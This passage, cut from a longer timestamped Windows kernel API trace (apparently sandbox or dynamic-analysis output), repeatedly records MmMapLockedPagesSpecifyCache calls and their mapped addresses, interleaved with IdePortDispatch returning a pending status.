(MemoryDescriptorList=0xfffffa8003502b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0067.929] IdePortDispatch () returned 0x103 [0067.929] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003502010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0067.930] IdePortDispatch () returned 0x103 [0067.931] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003501610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 [0067.931] IdePortDispatch () returned 0x103 [0067.931] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003501b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0067.932] IdePortDispatch () returned 0x103 [0067.932] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003501010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0067.933] IdePortDispatch () returned 0x103 [0067.933] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003500610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c0000 [0067.934] IdePortDispatch () returned 0x103 [0067.934] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003500b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e0000 [0067.934] IdePortDispatch () returned 0x103 [0067.934] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003500010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0067.935] IdePortDispatch () returned 0x103 [0067.935] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ff610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003520000 [0067.936] IdePortDispatch () returned 0x103 [0067.936] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ffb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003540000 [0067.936] IdePortDispatch () returned 0x103 [0067.937] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ff010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0067.937] IdePortDispatch () returned 0x103 [0067.937] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034fe610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0067.938] IdePortDispatch () returned 0x103 [0067.938] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034feb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a0000 [0067.940] IdePortDispatch () returned 0x103 [0067.940] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034fe010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0067.941] IdePortDispatch () returned 0x103 [0067.941] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034fd610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0067.942] IdePortDispatch () returned 0x103 [0067.942] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034fdb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007ee1000 [0067.942] IdePortDispatch () returned 0x103 [0067.943] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034fd010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f01000 [0067.943] IdePortDispatch () returned 0x103 [0067.943] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034fc610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f21000 [0067.944] IdePortDispatch () returned 0x103 [0067.944] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034fcb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f41000 [0067.945] IdePortDispatch () returned 0x103 [0067.945] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034fc010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f61000 [0067.945] IdePortDispatch () returned 0x103 [0067.946] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034fb610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f81000 [0067.946] IdePortDispatch () returned 0x103 [0067.946] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034fbb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fa1000 [0067.947] IdePortDispatch () returned 0x103 [0067.947] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034fb010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fc1000 [0067.948] IdePortDispatch () returned 0x103 [0067.948] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034fa610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002be5000 [0067.948] IdePortDispatch () returned 0x103 [0067.949] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034fab10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c05000 [0067.949] IdePortDispatch () returned 0x103 [0067.949] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034fa010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c25000 [0067.950] IdePortDispatch () returned 0x103 [0067.950] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f9610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c45000 [0067.951] IdePortDispatch () returned 0x103 [0067.951] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f9b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c75000 [0067.951] IdePortDispatch () returned 0x103 [0067.952] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f9010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c95000 [0067.952] IdePortDispatch () returned 0x103 [0067.952] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f8610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb5000 [0067.953] IdePortDispatch () returned 0x103 [0067.953] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f8b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd5000 [0067.954] IdePortDispatch () returned 0x103 [0067.954] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f8010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf5000 [0067.954] IdePortDispatch () returned 0x103 [0067.955] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f7610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d15000 [0067.956] IdePortDispatch () returned 0x103 [0067.956] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f7b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d35000 [0067.957] IdePortDispatch () returned 0x103 [0067.957] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f7010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d55000 [0067.957] IdePortDispatch () returned 0x103 [0067.957] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f6610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d75000 [0067.958] IdePortDispatch () returned 0x103 [0067.958] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f6b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d95000 [0067.959] IdePortDispatch () returned 0x103 [0067.959] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f6010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0067.959] IdePortDispatch () returned 0x103 [0067.960] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f5610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0067.960] IdePortDispatch () returned 0x103 [0067.960] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f5b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 [0067.961] IdePortDispatch () returned 0x103 [0067.961] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0067.962] IdePortDispatch () returned 0x103 [0067.962] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f4610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0067.962] IdePortDispatch () returned 0x103 [0067.962] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f4b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c0000 [0067.963] IdePortDispatch () returned 0x103 [0067.963] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f4010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e0000 [0067.963] IdePortDispatch () returned 0x103 [0067.964] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f3610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0067.964] IdePortDispatch () returned 0x103 [0067.964] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f3b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003520000 [0067.965] IdePortDispatch () returned 0x103 [0067.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f3010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003540000 [0067.966] IdePortDispatch () returned 0x103 [0067.966] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f2610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0067.966] IdePortDispatch () returned 0x103 [0067.966] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f2b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0067.968] IdePortDispatch () returned 0x103 [0067.968] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f2010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a0000 [0067.969] IdePortDispatch () returned 0x103 [0067.969] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f1610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0067.970] IdePortDispatch () returned 0x103 [0067.970] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f1b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0067.971] IdePortDispatch () returned 0x103 [0067.971] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f1010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007ee1000 [0067.971] IdePortDispatch () returned 0x103 [0067.971] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f0610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f01000 [0067.972] IdePortDispatch () returned 0x103 [0067.972] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f0b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f21000 [0067.973] IdePortDispatch () returned 0x103 [0067.973] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034f0010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f41000 [0067.973] IdePortDispatch () returned 0x103 [0067.974] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ef610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f61000 [0067.974] IdePortDispatch () returned 0x103 [0067.974] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034efb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f81000 [0067.975] IdePortDispatch () returned 0x103 [0067.975] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ef010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fa1000 [0067.976] IdePortDispatch () returned 0x103 [0067.976] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ee610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fc1000 [0067.976] IdePortDispatch () returned 0x103 [0067.976] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034eeb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002be5000 [0067.977] IdePortDispatch () returned 0x103 [0067.977] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ee010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c05000 [0067.978] IdePortDispatch () returned 0x103 [0067.978] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ed610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c25000 [0067.978] IdePortDispatch () returned 0x103 [0067.979] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034edb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c45000 [0067.979] IdePortDispatch () returned 0x103 [0067.980] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ed010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c75000 [0067.980] IdePortDispatch () returned 0x103 [0067.980] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ec610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c95000 [0067.981] IdePortDispatch () returned 0x103 [0067.981] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ecb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb5000 [0067.981] IdePortDispatch () returned 0x103 [0067.981] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ec010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd5000 [0067.982] IdePortDispatch () returned 0x103 [0067.982] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034eb610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf5000 [0067.982] IdePortDispatch () returned 0x103 [0067.982] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ebb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d15000 [0067.983] IdePortDispatch () returned 0x103 [0067.983] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034eb010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d35000 [0067.983] IdePortDispatch () returned 0x103 [0067.983] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ea610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d55000 [0067.984] IdePortDispatch () returned 0x103 [0067.984] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034eab10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d75000 [0067.984] IdePortDispatch () returned 0x103 [0067.985] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ea010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d95000 [0067.985] IdePortDispatch () returned 0x103 [0067.985] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034e9610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0067.986] IdePortDispatch () returned 0x103 [0067.986] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034e9b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0067.986] IdePortDispatch () returned 0x103 [0067.987] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034e9010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 [0067.987] IdePortDispatch () returned 0x103 [0067.987] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034e8510, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0067.988] IdePortDispatch () returned 0x103 [0067.988] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034e8a10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0067.988] IdePortDispatch () returned 0x103 [0067.988] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034e8d10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c0000 [0067.989] IdePortDispatch () returned 0x103 [0067.989] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034e8010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e0000 [0067.989] IdePortDispatch () returned 0x103 [0067.989] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034e7580, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0067.990] IdePortDispatch () returned 0x103 [0067.990] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034cea50, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003520000 [0067.991] IdePortDispatch () returned 0x103 [0067.991] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800cf69230, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003540000 [0067.991] IdePortDispatch () returned 0x103 [0067.991] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800cf69380, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0067.993] IdePortDispatch () returned 0x103 [0067.993] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800cf69880, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0067.993] IdePortDispatch () returned 0x103 [0067.993] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800cf69d80, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a0000 [0067.994] IdePortDispatch () returned 0x103 [0067.994] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1794d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0067.995] IdePortDispatch () returned 0x103 [0067.995] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1799d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0067.995] IdePortDispatch () returned 0x103 [0067.995] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d3961d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007ee1000 [0067.996] IdePortDispatch () returned 0x103 [0067.996] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d3964d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f01000 [0067.996] IdePortDispatch () returned 0x103 [0067.996] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d3969d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f21000 [0067.997] IdePortDispatch () returned 0x103 [0067.997] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d396010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f41000 [0067.997] IdePortDispatch () returned 0x103 [0067.998] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d9fd680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f61000 [0067.998] IdePortDispatch () returned 0x103 [0067.998] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d9fdb80, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f81000 [0067.999] IdePortDispatch () returned 0x103 [0067.999] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80035eb2d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fa1000 [0067.999] IdePortDispatch () returned 0x103 [0067.999] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80035eb7d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fc1000 [0068.000] IdePortDispatch () returned 0x103 [0068.000] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80099ff180, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002be5000 [0068.000] IdePortDispatch () returned 0x103 [0068.001] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80099ff2d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c05000 [0068.001] IdePortDispatch () returned 0x103 [0068.001] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b492240, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c25000 [0068.002] IdePortDispatch () returned 0x103 [0068.002] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80099ff7d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c45000 [0068.002] IdePortDispatch () returned 0x103 [0068.002] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b492540, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c75000 [0068.003] IdePortDispatch () returned 0x103 [0068.003] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b492a40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c95000 [0068.003] IdePortDispatch () returned 0x103 [0068.004] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c22c330, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb5000 [0068.004] IdePortDispatch () returned 0x103 [0068.004] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c22c830, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd5000 [0068.005] IdePortDispatch () returned 0x103 [0068.005] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800caefa40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, 